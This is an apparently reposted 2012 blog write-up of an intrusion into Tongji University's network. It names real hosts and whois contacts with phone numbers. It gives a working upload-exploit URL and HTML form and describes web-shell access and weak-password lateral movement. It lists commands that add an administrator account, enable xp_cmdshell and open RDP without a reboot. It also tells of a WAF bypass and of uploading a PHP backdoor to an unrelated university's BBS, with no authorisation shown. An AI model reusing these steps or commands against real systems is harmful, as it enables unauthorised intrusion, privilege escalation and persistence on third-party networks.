1. 程式人生 > >12年寫的一份滲透測試報告

12年寫的一份滲透測試報告

     目標:同濟大學 域名:www.tongji.edu.cn

1.資訊收集

           收集www.tongji.edu.cn 網站 子站 資訊 為後續滲透做好鋪墊。1.1 獲取IP          使用Ping得到IP 202.120.189.3 address:上海   1.2 Whois 查詢

網段: 202.120.176.0 - 202.120.191.255

                管理員聯絡:

Cui , Zijun (ZC3-CN)

+86-21-6598-9006

技術人員聯絡:

Wang , Zhengping (ZW2-CN)

+86 21 65025080 ext. 2840

 最後更新記錄在 

19970627

記錄於 19970627

dns.tongji.edu.cn 202.120.191.30

dns1.tongji.edu.cn 202.120.191.208

 1.3 Mail:收集 

Mail伺服器:http://mail.tongji.edu.cn 

碰過很多用郵箱前輟做密碼的.

[email protected].com

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

1.4 子域名收集

分佈這個網段:202.120.189.3-202.120.189.255C段全部是WEB應用

同服網站:

http://www.tongji.edu.cn

http://news.tongji.edu.cn

http://gandong.tongji.edu.cn

http://photo.tongji.edu.cn

2. 掃描

nmap:

nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v www.tongji.edu.cn

 返回:

80/tcp open  http    nginx 1.0.8

|_http-methods: No Allow or Public header in OPTIONS response (status code 405)

|_http-title: \xE6\xAC\xA2\xE8\xBF\x8E\xE8\xAE\xBF\xE9\x97\xAE\xE5\x90\x8C\xE6\x

B5\x8E\xE5\xA4\xA7\xE5\xAD\xA6\xE4\xB8\xBB\xE9\xA1\xB5

nix  只對外開放一個80 資訊收集的差不多這後 由於主站只開放一個WEB應用 。

只好轉WEB上來

3.web評估

首先使用首先使用Wet工具對鏡點進行映象:

   

         爬完網站後,在網站目錄結構下找到在一個叫SC的目錄,該目錄下找到一個asp的網站 測試一下了也沒存在漏洞 還呼叫了防注入程式。

   過濾GET POST COOKIE 提交過來的資料  主站無果  旁站也沒有可拿到shell的漏洞,現在只好滲透分站了

   找到一個Ip:202.120.189.3  此站伺服器上只有一個站點 初步估計許可權會很大 好提權 好吧 就它了

   居然玩跳轉了:

   

   這個跳轉也暴露了,它網站使用的程式,是一套asp的cms,w78cms,估計大家都很熟悉,國內用的比較多吧.

   這套程式存在一個上傳漏洞,以下是分析過程:

Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sCusDir = Trim(Request.QueryString("cusdir"))
sParamSYFlag = Trim(Request.QueryString("syflag"))
sCusDir = Replace(sCusDir, "\", "/")
If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then
sCusDir = ""
 
'這裡程式設計師只考慮到了跨目錄的問題
End If
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("parent.UploadError('style')")
End If
sBaseUrl = aStyleConfig(19)
nUploadObject = Clng(aStyleConfig(20))
nAutoDir = CLng(aStyleConfig(21))
sUploadDir = aStyleConfig(3)
If sBaseUrl<>"3" Then
If Left(sUploadDir, 1) <> "/" Then
sUploadDir = "../" & sUploadDir
End If
End If
Select Case sBaseUrl
Case "0", "3"
sContentPath = aStyleConfig(23)
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
If sBaseUrl<>"3" Then
sUploadDir = Server.Mappath(sUploadDir)    ‘這裡建立目錄
End If
If Right(sUploadDir,1)<>"\" Then
sUploadDir = sUploadDir & "\"
End If

很明顯 程式設計師只考慮到跨目錄的漏洞 沒有過濾點號 最後創目錄 結合IIS解析漏洞  導致漏洞形成。

漏洞修復方法:sCusDir = Replace(sCusDir, ".", "")

漏洞利用:

http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp

時程式會在uploadfile 目下建立一個名為Zvall.asp的資料夾

在利用這個HTML上傳吧

<form action="http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp" method=post name=myform
enctype="multipart/form-data">
<input type=file name=uploadfile size=100><br><br>
<input type=submit value=upload>
</form>

上傳成功後返回的原始碼:


WEB後門發現伺服器已被攻陷 有administratoradmin$帳號一枚,並且發現伺服器支援JSP 預設是SYSTEM許可權,

ipconfig /all後發現伺服器有4張網絡卡  其中一張是VirtualBox虛擬網絡卡.

多網段意味著滲透的空間更大,執行net user Administrator命令後發現:管理員的最後登入時間為2012-8-14 7:00           

看來伺服器管理員經常來伺服器 在查看了下administrator的桌面發現個bat

內容為:

ipconfig /release

ipconfig /renew

可以看出伺服器的某張網絡卡採取的是dhcp方式

初步猜測管理員可能不是小白 所以類似進伺服器桌面操作看起來有點不可取

但又沒辦法只好掛上一個VPN加一個跳板 再新增管理帳號

再用lcx.exe  轉發埠


網路連線資訊:


執行ipconfig /all:後發現有如下網段

網段1:     10.10.203.*

網段2:      192.168.0.*

網段3:      169.254.*         DHCP

首先滲透 網段2

先破系統hash為:gisgp**  由於伺服器上裝了chrome瀏覽器所以讀讀密碼吧,例如上網上時表單的密碼。不過運氣並沒有眷故我,沒有讀出密碼在讀其實WEB程式配置檔案時發現本機的MSSQL存在一個弱口令 sa/password,由於沒有將1433對映到公網所以降低了被滲透的風險

網絡卡2:ip為  192.168.0.11

在列舉時發現192.168.0.12192.168.0.11Ntpass密碼一樣 果斷連線ipc$


又現sql 弱口令一枚看來這個管理員安全意低, 同時網段1 ip 10.10.203.70 OSwindows  xp  存在NT弱口令。


簡單測試了一下這個網段存在以下問題

  1. 管理的系統密碼通用
  1. 同時管理的兩臺WEB應用伺服器 MSSQL 都存在弱口令

到了這步 首先利用WMI 給伺服器開telnet,伺服器是ip: 192.168.0.12    OS:windows 2000


telnet裡 新增帳號 net user Zvall Zvall/add& net localgroup administrators Zvall /add

由於伺服器3389沒有開啟  加之是windows 2000 網上的那些開3389的指令碼都要重啟

這裡我想了一個不用重啟的方法出來了指令碼如下:

echo [Components] > c:\Zvall

echo TSEnable = on >> c:\Zvall

sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\Zvall /q 

執行以上指令碼後無需重啟即開3389  成功 good


哎 只有兩三臺伺服器出搞了個domain,簡直了:


由於此段只有幾個IP 只好換網段再滲透:

現在目標定在:192.168.0.250.*  這個段上

首先收集內網中存活的IP

Nmap -sP 192.168.o.o/24


在使用SuperScanner C段常見的應用:


在觀察埠時發現  192.168.250.3 伺服器上的WEB應用程式屬於開源程式BBS程式KBS

KBS bbs 是由C語言+php編寫而成 於是下了原始碼分析了一下,發現存在一個上傳漏洞

C程式碼 原始碼分析:
 
 
 
PHP_FUNCTION(bbs_upload_add_file)
{
    char *filename, *ofilename;
    int flen, oflen, ret;
    if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) == FAILURE) {
        WRONG_PARAM_COUNT;
    }
    if (!flen || !oflen) {
        RETURN_ERROR(GENERAL);
    }
    ret = upload_add_file(filename, ofilename, getSession());
    switch (ret) {
        case -1:
            RETURN_ERROR(GENERAL);
            break;
        case -2:
            RETURN_ERROR(ATTACH_CLIMIT);
            break;
        case -3:
            RETURN_ERROR(ATTACH_INVALIDNAME);
            break;
        case -4:
            RETURN_ERROR(ATTACH_DUPNAME);
            break;
        case -5:
            RETURN_ERROR(GENERAL);
            break;
        case -6:
            RETURN_ERROR(ATTACH_SLIMIT);
            break;
        default:
            RETURN_LONG(0);
            break;
    }
}
 
upload_add_file:
 
int upload_add_file(const char *filename, char *original_filename, session_t *session)
{
    int ret = upload_add_file_helper(filename, original_filename, session);
    if (ret) unlink(filename);
    return(ret);
}
 
upload_add_file_helper:
 
static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)
{
    struct ea_attach_info ai[MAXATTACHMENTCOUNT];
    char attachdir[MAXPATH], attachfile[MAXPATH];
    FILE *fp;
    char buf[256];
    int i, n, len;
    int totalsize=0;
    char *pos1, *pos2;
    struct stat stat_buf;
 
    n = upload_read_fileinfo(ai, session);
    if (n >= MAXATTACHMENTCOUNT)
        return -2;
 
    pos1 = strrchr(original_filename, '\\');
    pos2 = strrchr(original_filename, '/');
    if (pos1 && pos2) {
        if (pos1 < pos2) pos1 = pos2;
        original_filename = pos1 + 1;
    } else {
        pos1 = pos1 ? pos1 : pos2;
        if (pos1) original_filename = pos1 + 1;
    }
    len = strlen(original_filename);
    if (!len)
        return -3;
    if (len > 60) {
        original_filename += (len-60);
        if (original_filename[-1] & 0x80) {
            original_filename++;
        }
    }
    filter_upload_filename(original_filename);  //過濾跨站字元
 
    for (i=0;i<n;i++) {
        if (strcmp(ai[i].name, original_filename) == 0) return -4;
        totalsize+=ai[i].size;
    }
    if (stat(filename, &stat_buf) != -1 && S_ISREG(stat_buf.st_mode)) {
        totalsize += stat_buf.st_size;
    } else {
        return -5;
    }
    if (!HAS_PERM(session->currentuser, PERM_SYSOP) && totalsize > MAXATTACHMENTSIZE) return -6;
 
    getattachtmppath(attachdir, MAXPATH, session);
    mkdir(attachdir, 0700);
 
    snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, (int)(time(NULL)%10000), rand()%10000);
    f_mv(filename, attachfile);
 
    snprintf(buf, sizeof(buf), "%s %s\n", attachfile, original_filename);
 
    snprintf(attachfile, MAXPATH, "%s/.index", attachdir);
    if ((fp = fopen(attachfile, "a")) == NULL)
        return -1;
    fprintf(fp, "%s", buf);
    fclose(fp);
    return(0);
}

整個過程都沒有檢測上傳檔案型別,只過濾了一些跨站字元

首先在BBS上註冊一個帳號

<?php

print `ls -la`;

?>

上傳這個檔案後突然發現訪問不了網站了,上傳txt又可以果然是WAF在作怪啊



據以往滲透的經驗來看 初步估計192.168.250.* 這個網段有一臺WAF

明顯是檢測 關鍵字 ,大概過了5分鐘 左右 發現可以訪問了

又上傳一個傳的檔案<? print 'Zvall';?>  ,此時WAF又中斷了訪問,看來是WAF檢測了後輟名了。 再上傳一個txt 返回正常



為了證明此漏洞的存在,我在網上找了個大學BBS站測試了一下,並成功上傳php後門。


漏洞修復方法:使用白名單方式過濾filename ,把Filepath定義成常量

到了這步只好繼續看SuperScanner掃出的結果:


APPWEB  這不是嵌入式裝置才有的麼?

於是訪問 192.168.250.254


果然是高階貨Juniper SRX3600  大學有錢呀


呵呵難怪搞這個這麼昂貴的裝置呀 因為此網段全是WEB應用,現在只好繼續查詢其它WEB應用

繼續找到一個IP存在一個豬肉點 192.168.250.13

用的Asp.net程式存在SA 許可權注點一個 資料庫為: Mssql2008

提交:

返回:

“/WebSite1”應用程式中的伺服器錯誤。

在將 nvarchar 值 'dbo' 轉換成資料型別 int 時失敗。

返回正常 當前是SA 由於mssql2008預設沒有開啟xp_cmdshell 所以還得開啟它才執行命令,以用如下語句開啟:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

再利用Pangolin執行命令



再直接來開3389  加管理員

執行REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

執行完後發現3389埠並沒有開啟

執行shutdown -r -t 0  返回:計算機已經鎖定而且不使用強制選項無法關機。(1271)

那就只有把管理員登出掉執行query user 返回

列舉會話名時的錯誤 0x000006A6

相關推薦

12滲透測試報告

     目標:同濟大學 域名:www.tongji.edu.cn1.資訊收集           收集www.tongji.edu.cn 網站 子站 資訊 為後續滲透做好鋪墊。1.1 獲取IP          使用Ping得到IP 202.120.189.3 address:上海   1.2 Whois 

我的2018,用的時間年終總結!

1、題記 不覺中,已經連續寫了五年年終總結了(2013,2014,2015,2016,2017)。最初寫總結是因為報名參加了CSDN“我的2013年”部落格徵文大賽,僥倖得到評委的擡愛,拿了特等獎。獎項只代表過去,更多是鞭策未來能否言行如一。 得到羅胖提出跨年演講要做20年,那我

如何優秀的java程序員簡歷

英文 由於 這樣的 感覺 腳本語言 頁面 以及 日誌 ive 背景:進入第一家公司已經工作將近兩年了,其中閑了一年,在準備自己的簡歷的時候,有種江郎才盡的感覺,不知道怎麽寫,看來平時還是要多積累多熟悉。 ps:這裏面的分享看完還是很受用的。 簡歷看得比較認真的,也不會多

如何個人工作總結型的PPT來獲得領導的認可?

你是 是你 但是 有感 頻率 內容 基礎上 解釋 價格 《作者司馬懿PPT,文字版權歸屬司馬懿PPT所有,請勿轉載》工作總結,這個詞估計所有的職場人士都非常的熟悉,或者很多人都是比較討厭這個詞的。不難理解,在我們職場中,無論是國有企業,還是民營企業,甚至是外資企業都在做工作

gulp常用配置檔案,構建前端工作流

分享一下我老師大神的人工智慧教程!零基礎,通俗易懂!http://blog.csdn.net/jiangjunshow 也歡迎大家轉載本篇文章。分享知識,造福人民,實現我們中華民族偉大復興!        

偶然的滲透測試

偶然的一次拿站 宣告:在本次滲透測試中,沒有動任何資料,也聯絡了管理員 前言 本來,我是在看一篇科普文章的,做著提到了safe3這個漏掃工具,我就向想試一下這個工具如何,利用google hacking找了一個php的站,掃描完提示有可能存在sql注入,那還等什麼就直接

POI匯出時到ftp伺服器,下載給客戶端 ftp伺服器搭建(離線安裝vsftpd),配置 poi實現百萬級資料匯出 oi實現百萬級資料匯出

導語:   昨天接到專案經理這麼一個需求,讓我在POI匯出Excel的時候寫一份到我之前搭建的ftp伺服器上。所以就有了這篇部落格首先我們來分析下之前的業務邏輯:我們建立並構造了一個workbook,然後構建了一個OutputStream輸出流,然後我們把資料寫入輸出流中就可以被客戶端下載。   現在我們

利用cve-2017-11882的滲透測試

利用工具:https://github.com/Ridter/CVE-2017-11882/  影響版本: office 2003 office 2007 office 2010 office 2013 office 2016 一、思路整理 整體思路如上,通過執行遠端的flag.txt裡包

如何程式設計師愛看的需求文件?

產品經理的生涯中,肯定遇到過如下的痛點吧: 1.含辛茹苦地寫完了需求文件(PRD),開發人員卻將文件束之高閣(一萬隻草泥馬在你的後腦勺奔騰而過……); 2.開發人員反覆來回地確認需求、細節邏輯等,問的你一臉懵逼,只能默默地去修改文件; 3.開發完成,進入測試階段,想著一鍋香噴噴的米飯就要上桌了

Metasploit入門系列(十)——後滲透測試

老規矩,今天我們的後滲透測試內容也不來自於任何視訊或教程,自己挖! 其實如果你去百度後滲透測試的話,應該也搜不到什麼你想要的內容。給大家提一個概念:PTES(滲透測試執行標準),全稱"The Penetration Testing Execution Standard",也算是滲透工作行業的一個標準,Pos

怎麼好簡歷

求職簡歷是呈送給招聘單位的一張名片,一份精彩的簡歷能讓你從人群中脫穎而出,給面試官留下良好印象 簡歷原則 準確可信 準確可信的基本要求當然是不能寫虛假的內容,要實事求是 當然,寫簡歷的時候並不是讓你把自己的全部都寫進去,簡歷的

工具推薦:Dradis,Kali滲透測試報告生成器

滲透測試報告是任何安全評估活動 中的 關鍵可交付成果。滲透測試中 , 最終可交付成果是 一份報告,展示了所提供的服務, 使用的方法 , 發現的結果和建議。 許多滲透測試人員發現 報告的製作是 一個無聊的過程 , 因為它需要大量的時間和精力。在本文中 , 我們將討論

進入新公司,如何做產品體驗報告

作者:樸老師全文共 2371 字,閱讀需要 5 分鐘———— / BEGIN / ————最近新

如何有吸引力的設計提案

設計提案的策略 與產品設計一樣,你必須給你的設計提案制定一個策略,通俗地說,策略是你一步一步促使客戶最終為設計專案買單的計策。就像我們思考一個線上車險報價的流程時分析跳出原因一樣—思考客戶為什麼“跳出”而不會為接下來的設計專案買單—幫助我們思考提案策略。 想想作為客戶你為什

python介面自動化(三十)--html測試報告通過郵件發出去——下(詳解)

簡介    本篇總結了 QQ (SSL)郵箱和 163(非SSL) 郵箱傳送郵件,專治各種不行,總之看完這篇以後麻麻再也不用擔心我的郵件收不到了。以下程式碼相容 python2 和 python3,執行無異常,放心大膽使用。 常用郵件協議 傳送郵件:SMTP 收取郵件:POP3、IMAP 常用郵件配

快速成長從走心的週報開始

上一篇我們嘮了嘮開晨會的目的,方法和實踐的經驗。總體上看有效的晨會對個人的成長和團隊效能提升都是一個不錯的實踐。 今天,我們來聊聊工作週報的一些思考和實踐,看為什麼要寫週報,如何寫一份走心的週報來幫助我們快速成長。 現在大部分團隊都會要求寫週報來做階段性的工作彙報和總結,但對於為什麼要寫週報,每個人都有自

程式設計師如何合格的簡歷?(附簡歷模版)

@[toc] > 今天不聊技術,來聊一聊如何寫一份合格的簡歷。前兩天,在交流群看到了一個同學問如何寫簡歷。於是,我就讓他把簡歷發給了我。簡歷的製作過程考驗了一個人的兩個能力,邏輯能力和細節能力。而不考驗設計能力。下面就這份簡歷存在的問題,以及如何寫簡歷做個簡單總結。 ## 1. 原始簡歷 ![原始簡歷](

Appium+python HTML測試報告(2)——報告模板

轉載自部落格園作者Findyou,https://www.cnblogs.com/findyou/p/6925733.html [專案地址] https://github.com/findyou/HTMLTestRunnerCN/tree/dev   適用於python3: 下載地

[JVM] - <自己動手Java虛擬機器>的測試

go語言下載 配置GOROOT(一般是自動的),配置GOPATH(如果想自己改的話) 參照<自己動手寫Java虛擬機器> > 第一章 指令集和直譯器 生成了ch01.exe檔案 這裡還生成了一個gopkgs.exe檔案 執行以上操作,這裡說明:go開發java虛擬機器

教你編寫高質量的軟體測試報告

筆者在做軟體測試過程中,最初對測試報告的認知就是一個用於結項的可有可無的形式文件,因此只是根據公司提供的模板依葫蘆畫瓢完成了事。但當開始參與ISO的評審、CMMI3等後,開始認識到軟體測試報告遠非一種形式,更多是一個測試活動的總結,專案是否結項的重要參考和依據。因此本文指